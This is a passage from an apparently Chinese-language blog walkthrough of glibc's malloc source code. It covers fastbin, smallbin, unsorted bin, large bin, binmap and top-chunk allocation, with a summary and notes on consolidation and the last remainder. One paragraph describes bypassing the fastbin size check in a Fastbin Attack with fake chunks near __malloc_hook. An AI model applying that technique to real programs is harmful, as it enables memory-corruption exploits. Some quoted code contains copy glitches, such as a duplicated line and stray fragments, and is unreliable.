!= idx, 0)) { errstr = \u0026#34;malloc(): memory corruption (fast)\u0026#34;; errout: malloc_printerr (check_action, errstr, chunk2mem (victim), av); return NULL; } /* 检查通过，把这块内存的“数据区”指针转换出来 (chunk2mem) */ check_remalloced_chunk (av, victim, nb); void *p = chunk2mem (victim); /* 如果开启了调试/扰乱功能，把这块内存填充些垃圾数据，防止读到老数据 */ alloc_perturb (p, bytes); /* 成功返回给用户！流程结束！ */ return p; } } 逻辑就是看看申请的nb是否\u0026lt;=global_max_fast，如果成立就先在fast bin中寻找能满足的chunk，并且一定是完全匹配\nfastbins其实是一个包含多个单向链表的数组，它是LIFO(后进先出)，也就是说刚被free调的小内存，如果马上malloc申请同样的大小，拿到的就是刚刚那块\n重点（中间的check）\n1 if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) glibc的防御机制在于这行代码，如果我们在Fastbin Attack（比如伪造一个假Chunk把系统权限劫持）中，我们要欺骗malloc，让他把一块假的内存地址返回给我们，那么这行代码就起作用了，他会读取我们伪造的假Chunk的size位，算一下索引，看看和当前的idx是不是一样\n知道这个就可以绕过了，可以在目标内存附近（比如__malloc_hook）寻找一下有没有什么数据，正好可以错位当做size位，只要它满足这个大小检查，假Chunk就成功分配出来了\n末尾还有一个check：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 static void do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s) { INTERNAL_SIZE_T sz = p-\u0026gt;size \u0026amp; ~(PREV_INUSE | NON_MAIN_ARENA); if (!chunk_is_mmapped (p)) { assert (av == arena_for_chunk (p)); if (chunk_non_main_arena (p)) assert (av != \u0026amp;main_arena); else assert (av == \u0026amp;main_arena); } do_check_inuse_chunk (av, p); /* Legal size ... */ assert ((sz \u0026amp; MALLOC_ALIGN_MASK) == 0); assert ((unsigned long) (sz) \u0026gt;= MINSIZE); /* ... and alignment */ assert (aligned_OK (chunk2mem (p))); /* chunk is less than MINSIZE more than request */ assert ((long) (sz) - (long) (s) \u0026gt;= 0); assert ((long) (sz) - (long) (s + MINSIZE) \u0026lt; 0); } 可以知道这个check就是check各个标志位，一般不会被触发\n相当于fast bin分配时一般只会有一个check，就是看看那个chunk的size是否等于我申请的size，过了的话就直接把这个chunk指针返回，没过就报错。。。\nsmall bin分配\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 #define NBINS 128 #define NSMALLBINS 64 #define SMALLBIN_WIDTH MALLOC_ALIGNMENT #define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT \u0026gt; 2 * SIZE_SZ) #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) #define in_smallbin_range(sz) \\ ((unsigned long) (sz) \u0026lt; (unsigned long) MIN_LARGE_SIZE) #define smallbin_index(sz) \\ ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) \u0026gt;\u0026gt; 4) : (((unsigned) (sz)) \u0026gt;\u0026gt; 3))\\ + SMALLBIN_CORRECTION) #define bin_at(m, i) \\ (mbinptr) (((char *) \u0026amp;((m)-\u0026gt;bins[((i) - 1) * 2])) \\ - offsetof (struct malloc_chunk, fd)) #define first(b) ((b)-\u0026gt;fd) #define last(b) ((b)-\u0026gt;bk) /* If a small request, check regular bin. Since these \u0026#34;smallbins\u0026#34; hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */ /* * Small bin 分配逻辑 * 判断标准化后的大小 nb 是否在 Small bin 的范围内 */ if (in_smallbin_range (nb)) { /* 计算对应的 Small bin 索引 idx */ idx = smallbin_index (nb); /* 获取对应双向链表的头指针 bin */ bin = bin_at (av, idx); /* * victim = last(bin) 意思是取链表的**尾部**元素 (FIFO 先进先出) * 如果 victim != bin，说明这个 bin 链表不是空的，里面有空闲内存！ */ if ((victim = last (bin)) != bin) { /* * 极端特殊情况：如果取出来的 victim 是 0，说明整个 Arena 还没初始化好。 * 这时调用 malloc_consolidate 强行初始化。 */ if (victim == 0) /* initialization check */ malloc_consolidate (av); else { /* 获取倒数第二个元素 bck */ bck = victim-\u0026gt;bk; /* 核心安全检查：双向链表完整性校验 (Safe Unlinking 雏形) */ if (__glibc_unlikely (bck-\u0026gt;fd != victim)) { errstr = \u0026#34;malloc(): smallbin double linked list corrupted\u0026#34;; goto errout; } /* 检查通过，把 victim 设置为使用状态 (修改下一个 chunk 的 P 位) */ set_inuse_bit_at_offset (victim, nb); /* 把 victim 从双向链表里“摘”下来 */ bin-\u0026gt;bk = bck; bck-\u0026gt;fd = bin; /* 检查是不是由 mmap 直接分配的 (非 Arena 管理)，如果是，做一些容错 */ if (av != \u0026amp;main_arena) set_non_main_arena (victim); /* 把摘下来的内存转换为用户指针，返回！ */ check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } } 前面的fastbin是单向链表，采用LIFO（后进先出），从链表头取内存，这里的smallbin是双向循环链表，采用FIFO（先进先出），victim = last(bin)，从链表尾取内存。\n双向链表完整性校验：\n1 if (__glibc_unlikely (bck-\u0026gt;fd != victim)) 这里使用了malloc_consolidate来初始化这个arena分配器\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 static void malloc_consolidate(mstate av) { mfastbinptr* fb; /* current fastbin being consolidated */ mfastbinptr* maxfb; /* last fastbin (for loop control) */ mchunkptr p; /* current chunk being consolidated */ mchunkptr nextp; /* next chunk to consolidate */ mchunkptr unsorted_bin; /* bin header */ mchunkptr first_unsorted; /* chunk to link to */ /* These have same use as in free() */ mchunkptr nextchunk; INTERNAL_SIZE_T size; INTERNAL_SIZE_T nextsize; INTERNAL_SIZE_T prevsize; int nextinuse; mchunkptr bck; mchunkptr fwd; /* If max_fast is 0, we know that av hasn\u0026#39;t yet been initialized, in which case do so below */ if (get_max_fast () != 0) { clear_fastchunks(av); unsorted_bin = unsorted_chunks(av); /* Remove each chunk from fast bin and consolidate it, placing it then in unsorted bin. Among other reasons for doing this, placing in unsorted bin avoids needing to calculate actual bins until malloc is sure that chunks aren\u0026#39;t immediately going to be reused anyway. */mlined version of consolidation code in free() * maxfb = \u0026amp;fastbin (av, NFASTBINS - 1); fb = \u0026amp;fastbin (av, 0); do { p = atomic_exchange_acq (fb, 0); if (p != 0) { do { check_inuse_chunk(av, p); nextp = p-\u0026gt;fd; /* Slightly streamlined version of consolidation code in free() */ size = p-\u0026gt;size \u0026amp; ~(PREV_INUSE|NON_MAIN_ARENA); nextchunk = chunk_at_offset(p, size); nextsize = chunksize(nextchunk); if (!prev_inuse(p)) { prevsize = p-\u0026gt;prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); } if (nextchunk != av-\u0026gt;top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize); if (!nextinuse) { size += nextsize; unlink(av, nextchunk, bck, fwd); } else clear_inuse_bit_at_offset(nextchunk, 0); first_unsorted = unsorted_bin-\u0026gt;fd; unsorted_bin-\u0026gt;fd = p; first_unsorted-\u0026gt;bk = p; if (!in_smallbin_range (size)) { p-\u0026gt;fd_nextsize = NULL; p-\u0026gt;bk_nextsize = NULL; } set_head(p, size | PREV_INUSE); p-\u0026gt;bk = unsorted_bin; p-\u0026gt;fd = first_unsorted; set_foot(p, size); } else { size += nextsize; set_head(p, size | PREV_INUSE); av-\u0026gt;top = p; } } while ( (p = nextp) != 0); } } while (fb++ != maxfb); } else { malloc_init_state(av); check_malloc_state(av); } } 大致意思就是清空所有arena的chunks，可以看到大的if是判断global_max_fast是否为0，为0则初始化，调用malloc_init_state和check_malloc_state函数初始化堆，否则把所有的fast bin取出来，先清除它们的标志位，然后扔到unsorted bin中尝试向前合并或者向后合并。\nlarge bin分配\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 /* * Large bin 的前置处理 (如果是大内存请求) */ else { /* 计算 Large bin 的索引 */ idx = largebin_index (nb); /* * 堆碎片的克星：malloc_consolidate * 如果 Fastbins 里有空闲的碎内存 (have_fastchunks)， * 就不管三七二十一，先调用 malloc_consolidate 触发“合并机制”。 */ if (have_fastchunks (av)) malloc_consolidate (av); } 为什么需要 malloc_consolidate？ Fastbin 虽然快，但它有一个致命弱点：它里面的内存即使物理相邻，也不会合并（为了追求速度）。如果你一直 malloc/free 小内存，堆里会全是 32 字节、64 字节的碎片。此时你突然要一个 1024 字节的大内存，哪怕堆的总空间够，也会因为没有“连续”的空间而分配失败。 所以，在向 Large bins 借大块内存前，管家会强制把 Fastbins 里的碎片全部倒出来，跟相邻的空闲内存合并成大块，扔进 Unsorted bin 里。 就是因为对于malloc_consolidate这个函数，如果没有初始化，那么初始化，如果初始化了，那么合并所有的fast bin。但是这里，都已经有fast bin存在了，那么堆指定已经初始化了，所以这里执行的逻辑基本只能是合并所有fast chunk，合并的目的在于空间上优化\n例如：如果一个0x15的fastbin和0x200的largebin物理相邻，我需要申请一个0x210的内存，如果此时他俩合并了，那我们就可以找到一个0x215的内存块给用户，如果不做这一步，就无法找到。\nUnsorted bin分配\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 for (;;) { int iters = 0; // walk from the unsorted head to end to find one chunk // First In First Out while ((victim = unsorted_chunks(av)-\u0026gt;bk) != unsorted_chunks(av)) { bck = victim-\u0026gt;bk; if (__builtin_expect(chunksize_nomask(victim) \u0026lt;= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize_nomask(victim) \u0026gt; av-\u0026gt;system_mem, 0)) malloc_printerr(check_action, \u0026#34;malloc(): memory corruption\u0026#34;, chunk2mem(victim), av); size = chunksize(victim); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range(nb) \u0026amp;\u0026amp; bck == unsorted_chunks(av) \u0026amp;\u0026amp; victim == av-\u0026gt;last_remainder \u0026amp;\u0026amp; (unsigned long) (size) \u0026gt; (unsigned long) (nb + MINSIZE)) { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); unsorted_chunks(av)-\u0026gt;bk = unsorted_chunks(av)-\u0026gt;fd = remainder; av-\u0026gt;last_remainder = remainder; remainder-\u0026gt;bk = remainder-\u0026gt;fd = unsorted_chunks(av); if (!in_smallbin_range(remainder_size)) { remainder-\u0026gt;fd_nextsize = NULL; remainder-\u0026gt;bk_nextsize = NULL; } set_head(victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); set_foot(remainder, remainder_size); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; } 这一块逻辑就是在遍历开始时，检查victim-\u0026gt;size，若size小于最小值（2*SIZE_SZ）或大于进程可分配系统内存上限（av-\u0026gt;system_mem），触发memory corruption异常\n对于Last Remainder匹配，若当前请求属于small bin范围，且unsorted bin中仅存唯一一个chunk，且该chunk正好是上次切割遗留的last_remainder，于是直接从该last_remainder中进行切割，分离出请求大小的chunk返回，将剩余部分更新为last_remainder\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsorted_chunks (av)-\u0026gt;bk = bck; bck-\u0026gt;fd = unsorted_chunks (av); /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != \u0026amp;main_arena) victim-\u0026gt;size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck-\u0026gt;fd; } 若遍历到的chunk size严格等于请求的标准化大小nb，则直接将其从Unsorted bin物理脱链(Unlink）设置INUSE标志位并返回给用户\n若大小不匹配则将其从Unsorted bin中移除，并根据size插入到相应的small bin或large bin\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck-\u0026gt;fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert ((bck-\u0026gt;bk-\u0026gt;size \u0026amp; NON_MAIN_ARENA) == 0); if ((unsigned long) (size) \u0026lt; (unsigned long) (bck-\u0026gt;bk-\u0026gt;size)) { fwd = bck; bck = bck-\u0026gt;bk; victim-\u0026gt;fd_nextsize = fwd-\u0026gt;fd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;fd-\u0026gt;bk_nextsize; fwd-\u0026gt;fd-\u0026gt;bk_nextsize = victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } else { assert ((fwd-\u0026gt;size \u0026amp; NON_MAIN_ARENA) == 0); while ((unsigned long) size \u0026lt; fwd-\u0026gt;size) { fwd = fwd-\u0026gt;fd_nextsize; assert ((fwd-\u0026gt;size \u0026amp; NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd-\u0026gt;size) /* Always insert in the second position. */ fwd = fwd-\u0026gt;fd; else { victim-\u0026gt;fd_nextsize = fwd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;bk_nextsize; fwd-\u0026gt;bk_nextsize = victim; victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } bck = fwd-\u0026gt;bk; } } else victim-\u0026gt;fd_nextsize = victim-\u0026gt;bk_nextsize = victim; } mark_bin (av, victim_index); victim-\u0026gt;bk = bck; victim-\u0026gt;fd = fwd; fwd-\u0026gt;bk = victim; bck-\u0026gt;fd = victim; #define MAX_ITERS 10000 if (++iters \u0026gt;= MAX_ITERS) break; Large bin插入特性：Large bin内部维护的是基于大小递减的二维双向链表，插入时需遍历fd_nextsize/bk_nextsize跳表指针，找到位置进行插入\n这里要知道，large bin可是所有bin当中最复杂的bin了，一个chunk四个指针，一对bin管理一个二维双向链表，fd,bk指针与相同大小的chunk连接，fd_nextsize和bk_nextsize与不同大小的chunk连接，有一幅图可以看看\nbck指的是bin所在chunk，fwd指的是最大的chunk\n最后，为防止遍历过长的 Unsorted bin 导致分配延迟过高，引入 MAX_ITERS（硬编码为10000）。达到上限则强制中断遍历，进入下一阶段\n到了这里，unsorted bin的遍历就结束了\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 if (!in_smallbin_range (nb)) { bin = bin_at (av, idx); /* skip scan if empty or largest chunk is too small */ if ((victim = first (bin)) != bin \u0026amp;\u0026amp; (unsigned long) (victim-\u0026gt;size) \u0026gt;= (unsigned long) (nb)) { victim = victim-\u0026gt;bk_nextsize; while (((unsigned long) (size = chunksize (victim)) \u0026lt; (unsigned long) (nb))) victim = victim-\u0026gt;bk_nextsize; /* Avoid removing the first entry for a size so that the skip list does not have to be rerouted. */ if (victim != last (bin) \u0026amp;\u0026amp; victim-\u0026gt;size == victim-\u0026gt;fd-\u0026gt;size) victim = victim-\u0026gt;fd; remainder_size = size - nb; unlink (av, victim, bck, fwd); /* Exhaust */ if (remainder_size \u0026lt; MINSIZE) { set_inuse_bit_at_offset (victim, size); if (av != \u0026amp;main_arena) victim-\u0026gt;size |= NON_MAIN_ARENA; } /* Split */ else { remainder = chunk_at_offset (victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av); fwd = bck-\u0026gt;fd; if (__glibc_unlikely (fwd-\u0026gt;bk != bck)) { errstr = \u0026#34;malloc(): cor rupted unsorted chunks\u0026#34;; goto errout; } remainder-\u0026gt;bk = bck; remainder-\u0026gt;fd = fwd; bck-\u0026gt;fd = remainder; fwd-\u0026gt;bk = remainder; if (!in_smallbin_range (remainder_size)) { remainder-\u0026gt;fd_nextsize = NULL; remainder-\u0026gt;bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } 当unsorted bin遍历完毕未找到精准匹配时，若请求为大内存。控制流转入Large bin的分配逻辑\n最佳适配搜索 (Best-Fit Search) 定位到目标大小对应的 Large bin 索引（Index）。 利用 bk_nextsize 指针（指向由小到大的独立 size 节点），从后向前反向遍历，寻找首个大小大于或等于请求大小 nb 的 chunk，以最大程度减少内存碎片。 解链与切割 (Unlink \u0026amp; Split) 找到目标 chunk 后，调用 unlink 宏将其从双向链表中安全卸载。 耗尽 (Exhaust)：若切割后剩余空间（remainder_size）小于最小堆块限制（MINSIZE），则不进行切割，把它物理相邻的下一块prev_inuse位设为1，将整块内存分配给用户。 切割 (Split)：若剩余空间充足，则将其分裂。前半部分返回给用户；剩余的 remainder chunk 将被重新链入 Unsorted bin 的头部，等待后续分配或整理。专属于 Large bin 的跳表指针将被清空，如果被切割的剩下chunk不在small bin范围内，就会清空它的fd_nextsize和bk_nextsize，因为他要回到unsorted bin里面，这两个字段没用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 ++idx; bin = bin_at(av, idx); block = idx2block(idx); map = av-\u0026gt;binmap[block]; bit = idx2bit(idx); for (;;) { /* Skip rest of block if there are no more set bits in this block. */ if (bit \u0026gt; map || bit == 0) { do { if (++block \u0026gt;= BINMAPSIZE) /* out of bins */ goto use_top; } while ((map = av-\u0026gt;binmap[block]) == 0); bin = bin_at(av, (block \u0026lt;\u0026lt; BINMAPSHIFT)); bit = 1; } /* Advance to bin with set bit. There must be one. */ while ((bit \u0026amp; map) == 0) { bin = next_bin(bin); bit \u0026lt;\u0026lt;= 1; assert(bit != 0); } /* Inspect the bin. It is likely to be non-empty */ victim = last(bin); /* If a false alarm (empty bin), clear the bit. */ if (victim == bin) { av-\u0026gt;binmap[block] = map \u0026amp;= ~bit; /* Write through */ bin = next_bin(bin); bit \u0026lt;\u0026lt;= 1; } } 若对应的Large bin为空，或其最大的chunk仍无法满足nb，分配器不会盲目线性遍历后续数百个bins，而是使用Binmap机制进行O(1)的跳跃式搜索\nglibc使用一个位图矩阵（av-\u0026gt;binmap）来标识各个bin的空闲状态，获取当前block和对应的map及bit掩码。会进行按位扫描查找，当前block对应掩码为0，则代表空，直接循环查找下一个非空的block。如果所有block都为空，直接跳转，利用位运算（bit\u0026amp;map）快速定位到当前索引之后、首个标志位为1且包含更大size内存块的具体 bin。\n我们来看看两个条件\nbit\u0026gt;map：如果这个位的权值都比它整个的map都大了，说明map上那个bit的权值必定为0 bit==0：如果这个bit都是0说明这个index也不对。 满足其一就看看别的index，然后如果说map==0，说明这整个block都没有空闲块，就直接跳过，不为0则退出去执行下面的操作，如果超过了block的总数，那就说明unsorted bin和large bin中也没有合适的chunk，那我们就切割top_chunk了，用了一个goto去跳转\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 else { size = chunksize (victim); /* We know the first chunk in this bin is big enough to use. */ assert ((unsigned long) (size) \u0026gt;= (unsigned long) (nb)); remainder_size = size - nb; /* unlink */ unlink (av, victim, bck, fwd); /* Exhaust */ if (remainder_size \u0026lt; MINSIZE) { set_inuse_bit_at_offset (victim, size); if (av != \u0026amp;main_arena) victim-\u0026gt;size |= NON_MAIN_ARENA; } /* Split */ else { remainder = chunk_at_offset (victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av); fwd = bck-\u0026gt;fd; if (__glibc_unlikely (fwd-\u0026gt;bk != bck)) { errstr = \u0026#34;malloc(): corrupted unsorted chunks 2\u0026#34;; goto errout; } remainder-\u0026gt;bk = bck; remainder-\u0026gt;fd = fwd; bck-\u0026gt;fd = remainder; fwd-\u0026gt;bk = remainder; /* advertise as last remainder */ if (in_smallbin_range (nb)) av-\u0026gt;last_remainder = remainder; if (!in_smallbin_range (remainder_size)) { remainder-\u0026gt;fd_nextsize = NULL; remainder-\u0026gt;bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } 定位到非空的更大bin后，直接提取该 bin 中最末尾的chunk（满足条件的最小块），执行前述相同的切割与remainder投递到Unsorted bin的逻辑并返回。\n至此整unsorted bin和large bin的分配就结束了。。。\n至于切割top chunk部分\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 use_top: /* If large enough, split off the chunk bordering the end of memory (held in av-\u0026gt;top). Note that this is in accord with the best-fit search rule. In effect, av-\u0026gt;top is treated as larger (and thus less well fitting) than any other available chunk since it can be extended to be as large as necessary (up to system limitations). We require that av-\u0026gt;top always exists (i.e., has size \u0026gt;= MINSIZE) after initialization, so if it would otherwise be exhausted by current request, it is replenished. (The main reason for ensuring it exists is that we may need MINSIZE space to put in fenceposts in sysmalloc.) */ victim = av-\u0026gt;top; size = chunksize (victim); if ((unsigned long) (size) \u0026gt;= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av-\u0026gt;top = remainder; set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* When we are using atomic ops to free fast chunks we can get here for all block sizes. */ else if (have_fastchunks (av)) { else if (have_fastchunks (av)) { malloc_consolidate (av); /* restore original bin index */ if (in_smallbin_range (nb)) idx = smallbin_index (nb); else idx = largebin_index (nb); } /*Otherwise, relay to handle system-dependent cases*/ else { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; } } } 分配器向堆的最高地址边界——荒野区（Top Chunk / av-\u0026gt;top）索要内存，若Top Chunk的剩余大小充足（size\u0026gt;=nb+MINSIZE），则直接对其进行切割。顶部推进，底部返回给用户，若top chunk空间告急，分配器会检查fastbin里是否存在碎片（have_fastchunks(av)），若存在，立即调用 malloc_consolidate(av) 强制清空 Fastbin，合并相邻的空闲 chunk，并放入 Unsorted bin。随后，程序逻辑会重新计算索引，重试整个分配循环。这也就是为啥要for(;;)死循环的原因\n若top chunk耗尽且fastbin也无可提供合适的碎片或者合并后仍然不够，那就只能调用底层sysmalloc(nb,av)了，通过发出brk()或mmp()系统调用，请求Linux内核映射物理内存以扩展进程的虚拟地址空间\nmalloc内存分配总结 整个malloc的分配流是一个**“从局部到全局、从缓存到系统”**的降级搜索过程。核心步骤如下：\n入口检查与分配区锁定 进入分配逻辑前，首先检查全局劫持指针 __malloc_hook。若无劫持，则为当前线程获取一个可用的分配区 (Arena) 并加锁。若分配区未初始化，直接交由 sysmalloc 向内核申请。\nFast bin极速通道 (O(1), LIFO) 若申请大小在 Fast bin 范围内（通常\u0026lt;=128B），直接通过掩码计算索引，去对应的单向链表头部摘取 chunk。若存在且大小校验通过，直接返回。\nSmall bin精确匹配 (FIFO) 与 大内存预处理 若申请大小在 Small bin 范围内，去对应的双向链表尾部摘取精确大小的chunk。 关键分支：如果申请的是大内存（Large bin级别），此时会触发 malloc_consolidate，强制合并 Fast bin 中的所有碎片并放入Unsorted bin，为后续凑大内存做准备。\nUnsorted bin大清洗与分拣 (进入核心for循环) 遍历 Unsorted bin (未分类垃圾堆)，对每个chunk执行以下判定：\nLast Remainder切割：若申请小内存，且当前 chunk 是上次切剩的唯一块，直接切割返回。 精确定位：若chunk大小完美等于申请大小，直接拿走返回。 分类归位：若不匹配，则按大小将其按序插入到它该去的Small bin或Large bin中（单次最大分拣数限10000，防止卡死）。 Large bin 最佳适配搜索 (Best-Fit) 若前面的精确匹配全部落空，且申请的是大内存，分配器会在对应的 Large bin 内部遍历跳表指针（fd_nextsize/bk_nextsize），寻找大于等于申请大小的最贴合 chunk。将其切分，所需部分返回，切剩的Remainder退回Unsorted bin。\nBinmap 掩码雷达跳跃搜索 若对应的Large bin为空，分配器利用 av-\u0026gt;binmap（位图机制）进行O(1)复杂度的按位扫描，直接跳跃寻找到存在更大chunk的空闲bin。找到后进行同样的操作：取出、切割、剩余退回Unsorted bin。\nTop Chunk 切割 当所有缓存Bins宣告枯竭，分配器将目光转向堆顶的未分配荒野区 Top Chunk。若空间充足，从顶部向下切割所需内存，重置Top指针并返回。\n重试 (Consolidate \u0026amp; Retry) 若 Top Chunk 空间告急不足以切割，检查Fast bin中是否还有未合并的碎片。若有，调用 malloc_consolidate 缝合碎片，并通过外层的 for(;;) 机制跳回第 4 步重新开始搜索。\n系统级回退 (Sysmalloc 向内核求救) 当用户态的所有机制（Bins+Top Chunk+碎片合并）彻底榨干，最终调用 sysmalloc，通过 brk 扩展堆顶边界，或通过 mmap 在共享映射区独立开辟空间，向操作系统申请物理内存。\n安全校验与交付 无论通过何种途径拿到内存，解锁当前Arena，并经过最终的 Assert 完整性断言（如校验mmap标志位、校验Arena归属权），确认内存未被越界破坏后，交还给用户空间。\n误区盲点汇总 1 什么是碎片合并？（malloc_consolidate）\n首先我们得先知道为啥要合并，因为fastbin追求极致的速度，当你free调一小块内存时，为了省事，glibc会直接把它扔进fastbin，并且不去管他旁边的内存是不是空闲，这会导致：如果连续释放多个小块，他们在物理内存上是连在一起的，本可以拼成一个大块，但因为他们在fastbin里，系统只当他们是碎片，申请大内存则会失败，这就是外部碎片化\n随后，我们就可以来看看malloc_consolidate是咋工作的了，当遇到以下情况会触发\n要申请大内存（Large bin大小）：glibc在分配大内存前，会强制先大扫除一次。 Top chunk都不够用了：glibc穷途末路，只能大扫除。 大扫除的过程：他会遍历fastbin里的所有小碎片，把他们拿出来，如果发现某一个碎片物理相邻的前一块或者后一块也是空闲，glibc就会把他们合并（通过修改PREV_INUSE标志位），然后合并之后的大块，全部被扔进了unsorted bin里！\n2 Unsorted bin是怎么分拣的？\n首先要知道unsorted bin本质是缓冲池，无论是刚刚被free掉的，还是被malloc_consolidate合并的，都会第一时间扔进来，它是一个双向循环链表，里面的块是无序的，大的小的混一起\n核心分拣过程：当拿出的块不是你想要的时候（因为它是精准匹配的），会执行：\n量一下这块垃圾的大小。 如果大小属于Small bin（比如 0x40），就找到 0x40 的双向链表，把它插到链表的头部（是通过 bk 插入）。 如果大小属于 Large bin（比如 0x400），就找到对应的大箱子。因为大箱子里必须按大小降序排列，glibc会沿着 fd_nextsize 指针一个个比对大小，找到合适的位置，把它插进去。 3 Last Remainder切法\n对于last remainder，译为剩余块，假设你只要0x30的内存，glibc找了半天，只找到一个0x100的块，那就直接从这里切0x30给你，剩下的0x70就是last remainder，glibc随后把这个扔回unsorted bin的头部，系统有一个专门的av-\u0026gt;last_remainder，它会立即指向这里\n为啥要有last remainder呢？\n比如，你要创建一个包含 10 个节点的链表，你会连续 malloc(0x20) 10次。\n如果没有 Last Remainder 优化，分配过程会很痛苦：\n第一次申请 0x20，从一块大内存切走 0x20，剩下 0x80 扔进 Unsorted bin。 第二次申请 0x20，管家去遍历 Unsorted bin，把 0x80 拿出来，切走 0x20，剩 0x60扔回去\u0026hellip; 这中间可能会伴随着大量的链表解链、插入、分拣操作，很费时间。 有了 Last Remainder 优化后，规则变了： 当进行第 2 次申请时，管家来到Unsorted bin，代码里会有这样一段极其苛刻的判断：如果你要的是小内存，并且Unsorted bin里当前只有一个块，并且这唯一的一个块恰好就是last_remainder并且它够大，满足的话，glibc直接将这块last remainder切一刀给你，然后指针后挪\n所以回顾一下那个死循环\n我要一块大内存。Fast/Small 没找到。 我去翻Unsorted bin。一边翻，一边把不匹配的块扔进 Small/Large bin。翻空了，依然没找到合适的。 我去刚才分拣好的Large bin里找，还是没有。 我找Top chunk，发现Top chunk只有 0x10 了，不够！ 触发：调用malloc_consolidate，把Fastbin里的碎片全拼起来，变成了一个0x500的大块，并且把它扔进了Unsorted bin。 因为外层是 for(;;)，流程瞬间回到第 2 步。 此时Unsorted bin刚迎来一块新鲜的0x500大块。 我一拿，正好大于我的需求，咔嚓一刀切走我需要的。 剩下的那部分，标记为last_remainder，扔回Unsorted bin。 